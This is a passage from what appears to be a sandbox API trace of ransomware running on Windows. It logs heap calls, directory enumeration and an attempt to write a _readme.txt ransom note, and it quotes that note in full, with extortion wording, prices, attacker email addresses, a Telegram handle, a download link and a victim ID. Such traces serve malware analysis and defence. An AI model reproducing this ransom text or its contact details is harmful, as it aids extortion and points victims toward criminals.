(hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.552] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x800) returned 0x331d740 [0112.552] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.553] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3306648 [0112.553] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.553] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.553] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0112.553] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.553] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.553] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 0 [0112.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331f120 [0112.554] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.554] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3307758 [0112.554] CreateFileW (lpFileName="C:\\Boot\\en-US\\_readme.txt" (normalized: "c:\\boot\\en-us\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3307758 | out: hHeap=0x660000) returned 1 [0112.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f120 | out: hHeap=0x660000) returned 1 [0112.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.554] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.554] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.554] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.554] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0112.554] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0112.554] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba300 [0112.555] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, 